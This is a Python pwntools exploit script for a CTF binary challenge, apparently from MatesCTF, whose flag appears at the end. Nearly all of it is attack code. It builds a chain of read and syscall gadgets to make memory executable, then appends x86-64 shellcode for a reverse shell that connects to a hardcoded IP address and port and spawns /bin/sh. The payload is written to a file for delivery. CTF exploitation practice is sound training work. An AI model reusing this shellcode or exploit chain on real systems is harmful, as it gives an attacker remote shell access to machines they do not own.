#!/usr/bin/env python


from pwn import *



io = process("./get_binary")

context.clear()
context.arch = "amd64"
context.log_level = "debug"
context.endian = "little"


host = p32(0x675c1cd3)[::-1]
port = "\x11\x5c"
port1 = "\x7a\x69"


shellcode =  "\x90"*0x34 + p64(0x40055c) + "\x90"*8


shellcode += "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
shellcode +=  "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
shellcode +=  "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
shellcode +=  "\x02"+port+"\xc7\x44\x24\x04"+host+"\x48\x89\xe6\x6a\x10"
shellcode +=  "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
shellcode +=  "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
shellcode +=  "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
shellcode +=  "\x5f\x6a\x3b\x58\x0f\x05"
shellcode += "\x90"*(0x200-len(shellcode))

syscall = 0x400364
read = 0x4002BB


p = "\x0f\x00\x00\x00"
p += p64(0x400520+4)
p += p64(0x400350)
p += p64(read)
p += p64(0xa)
p += p64(0x400000)
p += p64(0x1000)
p += p64(0x7)
p += p64(0x400500)
p += p64(0x100)
p += p64(0)*3
p += "\x90"*(0x64-len(p))
# gdb.attach(io)

# io.send(p)

x = "\x90"*4
x += p64(0x400520+4)
x += p64(0x400374)
x += p64(0x200)
x += p64(0)*3
x += "A"*(0x64-len(x))


with open("./get_ol", "wb") as f:
	f.write(p + x + shellcode)


io.interactive()


#MatesCTF{why_4m_1_s0_0bs3ss3d_w1th_bl1nd_RC3?}